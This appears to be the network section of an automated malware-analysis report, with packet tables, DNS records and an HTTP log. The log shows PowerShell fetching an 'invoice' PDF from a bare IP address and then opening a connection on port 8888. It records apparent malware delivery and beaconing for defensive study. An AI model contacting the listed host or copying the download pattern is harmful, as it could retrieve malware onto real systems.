Jan 11, 2025 07:38:50.096822977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096848011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.096877098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096894979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096909046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096923113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.096925020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096940041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096954107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.096956015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096971035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096985102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096999884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.097007990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.097075939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.115336895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.119138956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.128604889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128635883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128698111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128734112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128735065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.128768921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128787994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.128823996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128870964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.128876925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128928900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128966093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.128984928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129002094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129034996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129062891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129070044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129103899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129115105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129237890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129288912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129300117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129324913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129359007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129390001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129394054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129426956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129437923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129462004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129493952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129508018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129530907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129566908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129585028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129601955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129652977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129654884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129690886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129725933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129750967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129760027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129795074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129806042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129831076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.129880905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.129976034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.130009890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.130045891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.130073071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.130079031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.130114079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.130125999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.130150080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.130194902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161339045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161393881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161446095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161475897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161497116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161531925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161562920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161567926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161603928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161616087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161633015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161678076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161684990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161721945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161767006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161772966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161825895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161870956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161883116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161919117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161952972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.161971092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.161989927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162024021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162049055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162059069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162092924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162101984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162130117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162183046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162194014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162246943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162281036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162292957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162316084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162349939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162374973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162384987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162419081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162446022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162455082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162506104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162518978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162543058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162594080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162611008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162651062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162683964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162694931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162723064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162755966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162791014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162795067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162826061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162849903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162863016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162897110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162920952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.162933111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162966967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.162986040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163007975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163065910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163094044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163129091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163178921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163213968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163222075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163268089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163269997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163302898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163364887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163374901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163414955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163460016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163467884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163501978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163536072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163561106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163569927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163604975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163620949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163640976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163675070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163686037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163728952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163764954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163779974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163800001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163835049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163863897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.163872004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.163919926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.184952021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185004950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185058117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185085058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.185091019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185127974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185144901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.185167074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185204983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185214043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.185256004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185290098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185298920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.185326099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185362101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185372114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.185411930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185446024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185455084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.185481071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185516119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.185523033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217238903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217293978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217303038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217350960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217369080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217382908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217396975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217412949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217433929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217452049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217484951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217500925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217519999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217566013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217575073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217627048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217659950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217668056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217700005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217746973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217751026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217786074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217830896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217844963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217874050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217907906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217924118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.217943907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.217978001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218003035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218012094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218045950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218055964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218080044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218113899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218121052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218230963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218265057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218281984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218317032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218349934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218355894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218384981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218417883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218429089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218453884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218487024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218506098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218543053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218578100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218589067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218611956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218653917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218662024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.218688965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.218738079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.249912977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.249939919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.249957085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.249972105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.249988079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.249994993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250005960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250025988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250037909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250051975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250056028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250067949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250085115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250093937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250099897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250118017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250163078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250169039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250169039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250179052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250212908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250217915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.250226974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.250262022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.362186909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.366595030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.999389887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:51.403057098 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:51.408138990 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:51.408219099 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:51.408375025 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:51.413223982 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:52.200010061 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:52.250505924 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:52.608299971 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:39:04.482652903 CET	61328	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:39:18.330086946 CET	54705	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:39:30.877237082 CET	52125	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:39:04.482652903 CET	192.168.2.5	1.1.1.1	0x20a3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:18.330086946 CET	192.168.2.5	1.1.1.1	0x2c9a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:30.877237082 CET	192.168.2.5	1.1.1.1	0xcaef	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:39:02.904992104 CET	1.1.1.1	192.168.2.5	0x8ac5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:02.904992104 CET	1.1.1.1	192.168.2.5	0x8ac5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:04.490259886 CET	1.1.1.1	192.168.2.5	0x20a3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:39:18.337354898 CET	1.1.1.1	192.168.2.5	0x2c9a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:39:30.884449005 CET	1.1.1.1	192.168.2.5	0xcaef	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1600	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:38:48.725079060 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:38:49.500497103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:38:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 